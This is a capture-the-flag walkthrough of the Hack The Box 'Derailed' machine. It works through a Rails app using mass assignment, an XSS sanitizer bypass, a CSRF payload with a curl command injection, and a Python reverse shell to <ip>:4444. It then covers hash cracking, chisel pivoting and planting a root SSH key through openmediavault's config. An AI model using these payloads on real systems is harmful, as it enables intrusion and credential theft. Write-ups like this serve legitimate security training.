HTB - Derailed [Insane]
TCP Scan
> TARGET=<target-ip> && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
3000/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: derailed.htb
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
- Found domain:
derailed.htb
Wen Enum
> dirsearch -u http://derailed.htb:3000/
[03:19:42] 200 - 2KB - /login.js
[03:19:42] 406 - 39B - /login.json
[03:20:07] 200 - 2KB - /rails/info/properties
[03:20:10] 200 - 99B - /robots.txt
http://derailed.htb:3000/rails/info/properties
contains a lot of information
Rails version 6.1.6
Ruby version ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]
RubyGems version 3.1.4
Rack version 2.2.3
Middleware
Webpacker::DevServerProxy
ActionDispatch::HostAuthorization
Rack::Sendfile
ActionDispatch::Static
ActionDispatch::Executor
ActiveSupport::Cache::Strategy::LocalCache::Middleware
Rack::Runtime
Rack::MethodOverride
ActionDispatch::RequestId
ActionDispatch::RemoteIp
Sprockets::Rails::QuietAssets
Rails::Rack::Logger
ActionDispatch::ShowExceptions
ActionDispatch::ActionableExceptions
ActionDispatch::Reloader
ActionDispatch::Callbacks
ActiveRecord::Migration::CheckPending
ActionDispatch::Cookies
ActionDispatch::Session::CookieStore
ActionDispatch::Flash
ActionDispatch::ContentSecurityPolicy::Middleware
ActionDispatch::PermissionsPolicy::Middleware
Rack::Head
Rack::ConditionalGet
Rack::ETag
Rack::TempfileReaper
Application root /var/www/rails-app
Environment development
Database adapter sqlite3
Database schema version 20220529182601
http://derailed.htb:3000/rails/info/routes
shows all routes information
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://derailed.htb:3000/" -H "Host: FUZZ.derailed.htb:3000"
Found nothing
- Found
http://derailed.htb:3000/clipnotes/raw/1
and a user calledalice
> wfuzz -z range,0-69 -b _simple_rails_session=<cookie> http://derailed.htb:3000/clipnotes/raw/FUZZ
- There is a reporting facility at
http://derailed.htb:3000/report/<number>
and after submitting a report, we receive the following, which signals there might be an admin bot reading our post.
The note has been reported. Our admins will soon have a look at it.
Admin access to clipnote webapp
Unintended method: exploiting mass assignment
Warning: this approach had been patched but worth introducing
- In the
/register
route, there was a mass assignment vulnerability where one can use to register an admin user. The related code is shown below:
# in rails-app/app/controllers/applicants_controller.rb
# note that :role is vulnerable to mass assignment
def user_params
params.require(:user).permit(:username, :password, :password_confirmation, :role)
end
- Use burp to intercept the register request and craft a payload like below. Note
user[role]=administrator
authenticity_token=<token>&user[username]=meow&user[password]=test&user[password_confirmation]=test&user[role]=administrator
- You now have a user with admin privilege
- Later in the exploit, we can get a copy of the
rails-app
code and we can runbrakeman
on it to learn that the rails-app is vulnerable to xxs.
Confidence: Weak
Category: Cross-Site Scripting
Check: SanitizeConfigCve
Message: rails-html-sanitizer 1.4.2 is vulnerable to cross-site scripting when `select` and `style` tags are allowed (CVE-2022-32209). Upgrade to 1.4.3 or newer
File: Gemfile.lock
Line: 138
Intended approach: xss and csrf
- Reading from: https://hackerone.com/reports/1530898
- The web app is vulnerable to xss sanitization issue. We can utilise this to make the admin to execute our code. However, bear in mind that the session cookie is marked as
httpOnly
. Therefore, stealing cookie is not the way to go. Later, we will see that usingxss
we can understand how the/administration
page is structured. The actual attack can be done by posting to the/administration/reports
endpoint, e.gcsrf
. - A little bit of background on the differences between
xss
andcsrf
: xss allows an attacker to execute arbitrary javascript within the browser of a victim user (e.g helping us to enum the/administration
route). csrf allows an attacker to induce a victim user to perform actions that they do not intend to (e.g exploting the/administration/reports
endpoint). - Overview of the attack concept
- This challenge is very similar to
rootme\web-client\CSRF-token-bypass
, so if you would like to have more challenge after this, you will learn a lot by visiting the same challenge on rootme. - We need to first find a specific sequence to bypass the sanitization and then execute arbitrary code, e.g
xss
- Then, we need to use the xss to map out what’s the administration page like
- After that, we need to craft a
csrf
payload to do two things- fetch an
authenticity_token
from the/administration
page, - craft a form that posts to
/administration/reports
with theauthenticity_token
we obtained earlier.
- fetch an
- This challenge is very similar to
- To trigger the payload, following is the rough structure
- Register a user by intercepting the traffic to bypass character limit
- Craft the user name with a specific pattern to bypass sanitization
- Login as the new user
- Create a clipnote with some random content
- Once the note is created, you should be able to see your xss being executed by viewing the note. This is where you can test your poc
- Report this note and wait for the admin to visit the note (sometimes the admin-visit process may be broken, if you are certain that your payload should work but didn’t see anything within 2 minutes, tough luck, reset and restart. This part is not stable, you will be able to understand why it’s the case once you have root and try to run the xss.py script manually)
- The payload pattern to bypass sanitization is as follow
# <any 40 characters><bypass-pattern><xss-payload>
# example:
meowmeowmeowmeowmeowmeowmeowmeowmeowmeow<select<style/><img src="http://<ip>">
- In this writeup, i’ll bypass the steps of enum to map out how the
/administration
page is structure. You can do so using various means such as posting the page source to your http server that can accept post requests. - The form post on the
/administration
page is structure like so.
<form method="post" action="/administration/reports">
<input type="hidden" name="authenticity_token" id="authenticity_token" value="<authenticity_token>" autocomplete="off">
<input type="text" class="form-control" name="report_log" value="report_23_11_2022.log" hidden="">
<label class="pt-4"> 23.11.2022</label>
<button name="button" type="submit">Download</button>
</form>
- So, for our purpose, we need to use xss to fetch the
authenticity_token
and then usecsrf
to exploit thereport_log
field. - To fetch the
authenticity_token
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://derailed.htb:3000/administration", true);
xmlHttp.send( null );
// an arbitrary delay to ensure the page is rendered
setTimeout(function() {
var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');
var token = doc.getElementById('authenticity_token').value;
}, 2000);
- To make a post, we need to craft a malicious form first and then assign the fetched
authenticity_token
and the cmd injection payload
// just copy the form code from above and clean it up a bit
var newForm = new DOMParser().parseFromString('<form id="badform" method="post" action="/administration/reports"> <input type="hidden" name="authenticity_token" id="authenticity_token" value="placeholder" autocomplete="off"> <input id="report_log" type="text" class="form-control" name="report_log" value="placeholder" hidden=""> <button name="button" type="submit">Submit</button>', 'text/html');
document.body.append(newForm.forms.badform);
document.getElementById('badform').elements.report_log.value = '|curl http://<ip>/?cmdi';
document.getElementById('badform').elements.authenticity_token.value = token;
document.getElementById('badform').submit();
- Then final payload looks like this
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://derailed.htb:3000/administration", true);
xmlHttp.send( null );
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://<ip>/?step1';
setTimeout(function() {
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://<ip>?step2';
// fetch the token
var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');
var token = doc.getElementById('authenticity_token').value;
// craft the form
var newForm = new DOMParser().parseFromString('<form id="badform" method="post" action="/administration/reports"> <input type="hidden" name="authenticity_token" id="authenticity_token" value="placeholder" autocomplete="off"> <input id="report_log" type="text" class="form-control" name="report_log" value="placeholder" hidden=""> <button name="button" type="submit">Submit</button>', 'text/html');
document.body.append(newForm.forms.badform);
// assign the values
document.getElementById('badform').elements.report_log.value = '|curl http://<ip>/?cmdi';
document.getElementById('badform').elements.authenticity_token.value = token;
document.getElementById('badform').submit();
}, 2000);
- Yet, it’s not so convenient to register a user with the above as username. So, we need to obfuscate the payload using char code. You may do so using this tool: http://www.mauvecloud.net/charsets/CharCodeFinder.html
meowmeowmeowmeowmeowmeowmeowmeowmeowmeow<select<style/><img src="http://<ip>" onerror="eval(String.fromCharCode(<obfuscated-char-code>))">
- Now, register this username, create a note and report it. Watch for the callbacks from the target.
Foothold
- Once you’ve achieved the above, we can now exploit the
/administration
report downloading part for a shell. Report downloading is vulnerable to LFI and cmd injection, where you can use to download arbitrary files from the target and run arbitrary code. - You can play with the
report_log
parameter and try to download an arbitrary file
authenticity_token=<token>&report_log=/etc/passwd&button=
- The same field is also vulnerable to cmd injection, so you can exploit this to run arbitrary cmd on the target. Note the pipe
|
character before the cmd you inject.
authenticity_token=<token>&report_log=|<cmd>&button=
- Read this post for more detail why this is exploitable: https://bishopfox.com/blog/ruby-vulnerabilities-exploits
- Craft a payload like below and send it onto the
/administration/reports
endpoint to get a reverse shell
|python3+-c+'import+pty;import+socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("bash")'
- After you have a shell and performed some enum, we can found a file at
/var/www/rails-app/app/controllers/admin_controller.rb
- Viewing the content, there is an
open
method used that can be exploited for RCE. This confirms why we are able to run code viareport_log
param:
report_log = params[:report_log]
begin
file = open(report_log)
Cracking password hashes
- From
/var/www/rails-app/db/development.sqlite3
, we can find two hashes, one of them is crackable usinghashcat
alice $2a$12$hkqXQw6n0CxwBxEW/0obHOb.0/****e/4z95W3BhoFqpQRKIAxI7.
toby $2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv****5RML3sDLuIqNqqimqnZYyle
# you need to download the latest version of hashcat to have the module 28400
> hashcat -m 28400 hash.txt rockyou.txt
- The hash for
toby
can be cracked:g******y
PE: alice’s credential
- In
/var/www/rails-app/
, we can find (part of) the rails-app. This is also a git repository.
# show commit histories
> git log
commit 5ef649cc9b81893b070c607bdca5e6ed4370b914 (HEAD -> master)
Author: gituser <gituser@local>
Date: Sat May 28 15:01:14 2022 +0200
init
commit 61995bf40dcb332b8979adc32152d73e5546e40c
Author: gituser <gituser@local>
Date: Fri May 27 21:06:07 2022 +0200
init
commit 15df0becc4d8fc989bda8c154637d183258d3af0
Author: gituser <gituser@local>
Date: Thu May 19 21:41:04 2022 +0200
init
- We can find alice’s credential in one of the commits
> git checkout 61995bf40dcb332b8979adc32152d73e5546e40c -f
# Then browse to the file rails-app/db/seeds.rb to get alice's credential
* alice:recliner-bellyaching-bungling-continuum-gonging-laryng****
PE: openmediavault-webgui
- The previously cracked credential can be used to login as
openmediavault-webgui
> su - openmediavault-webgui
- This user belongs to several openmediavault related groups
uid=999(openmediavault-webgui) gid=996(openmediavault-webgui) groups=996(openmediavault-webgui),999(openmediavault-config),998(openmediavault-engined)
- This is the user used to run an application called
openmediavault (i.e omv)
which is an application that manages access control to resources. - Check openmediavault version. There doesn’t seem to be any open exploits
> dpkg -l | grep openmediavault
hi openmediavault 6.0.27-1 all openmediavault - The open network attached storage solution
ii openmediavault-keyring 1.0 all GnuPG archive keys of the OpenMediaVault archive
- Looking at the open ports, there is an application running at
80
, which is the omv application.
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 10.129.74.181:5357 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40745 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40829 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3003 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN -
tcp6 0 0 :::139 :::* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::445 :::* LISTEN -
- Since it runs on
127.0.0.1
, we need to pivot the traffic to access it
# on kali
> chisel server -p 9999 --reverse
# on target, upload chisel and give execution rights
> chmod +x chisel
> ./chisel client --max-retry-count=1 <ip>:9999 R:8888:localhost:80
SSH as openmediavault-webgui
Warning: this step was later proven to be unnecessary, and due to some recent changes, resetting admin password using omv-firstaid no longer worked
- The default credentail for omv webgui is
admin:openmediavault
, however, this had been changed. So we need to reset the password using omv-firstaid: https://forum.openmediavault.org/index.php?thread/5934-omv-firstaid-usage/. This tool can be found at/usr/sbin/omv-firstaid
. However, because it’s an interactive tool, we have to login via a ssh session. openmediavault-webgui
is not inssh
group, so we cannot ssh to the target asopenmediavault-webgui
directly.- However, the
rails
user is inssh
group, yet we don’t know the password. But we can create a.ssh/authorized_keys
file and echo our public key to it to gain ssh access.
# as rails
rails@derailed:~$ mkdir .ssh
rails@derailed:~$ echo '<id_rsa.pub>' > .ssh/authorized_keys
# login as rails via ssh
> ssh rails@derailed.htb
# switch to openmediavault-webgui
rails@derailed:~$ su openmediavault-webgui
- Then, we can reset the admin password for the omv web portal
# as openmediavault-webgui
openmediavault-webgui@derailed:~$ /usr/sbin/omv-firstaid
# then use option 3 to reset the password
- Now, we are able to access the omv webgui at
http://127.0.0.1:8888
and login usingadmin:<whatever-we-set>
Warning: again, this step was later proven to be unnecessary, and it no longer worked after the patches
PE: root
- Upload linpeas and do enum, we learnt that omv is running on port 80. We can find the relevant config file for this app.
[+] Readable files belonging to root and readable by me but not world readable
-rw-rw---- 1 root openmediavault-config 18838 May 30 07:13 /etc/openmediavault/config.xml
- The omv tools are stored in
/usr/sbin/
. Since this app is used to manage access control to resources. We can use it to add a new access method for a high-privilege user. In this case, we can make the root user accept ourpublic ssh key
, so that we can ssh into the target as root. - Create your ssh public key and follow the required format: https://forum.openmediavault.org/index.php?thread/7822-guide-enable-ssh-with-public-key-authentication-securing-remote-webui-access-to/
> ssh-keygen -t rsa
> ssh-keygen -e -f ~/.ssh/id_rsa.pub
# do some cleaning of this public key and record it for use
- Then download a copy of
/etc/openmediavault/config.xml
and let’s edit it to make root to accept our public ssh key. The config.xml on the target contains two user entries:rails
andtest
. You can update thetest
user’s section forroot
.
<user>
<uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
<name>root</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys>
<sshpubkey>---- BEGIN SSH2 PUBLIC KEY ----
`your-public-key`
---- END SSH2 PUBLIC KEY ----
</sshpubkey>
</sshpubkeys>
</user>
- We can now put this modified config file onto the target as user
openmediavault-webgui
, because the config belongs to the groupopenmediavault-config
.
# add tools to PATH for convenience
> export PATH=/usr/sbin:$PATH
# Get config to the target and overwrite
> wget http://<ip>/openmediavault-config.xml -O /etc/openmediavault/config.xml
# Use the omv-confdbadm tool to load the modified user config, this tool will throw error if the format is wrong. So it helps us to debug our public ssh key format.
> omv-confdbadm read conf.system.usermngmnt.user
# Force a config update of the ssh module
> /usr/sbin/omv-rpc -u admin "config" "applyChanges" "{ \"modules\": [\"ssh\"],\"force\": true }"
Post exploit: cracking secret key base
- As a part of the
rails-app
, there is arails-app/config/credentials.yml.enc
andrails-app/config/master.key
. This can be used to decrypt thesecret_key_base
used to sign session cookies; though it’s not used for this challenge. - https://github.com/mbadanoiu/Credentials.yml.enc_Decryptor
> python2 Credentials.yml.enc_Decryptor/decryptor.py www/rails-app/config/credentials.yml.enc www/rails-app/config/master.key
Credentials.yml.enc_Decryptor/decryptor.py:7: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography.hazmat.backends import default_backend
I"/# aws:
# access_key_id: 123
# secret_access_key: 345
# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: 11a5a3105df48cbeee046e75cf85a16a0417c1219b96def6ac8a2d475486607f80dc399f9367c1bdb3a826fdf360fcc241be601bb11940a80d1885bf399c5f3f
:ET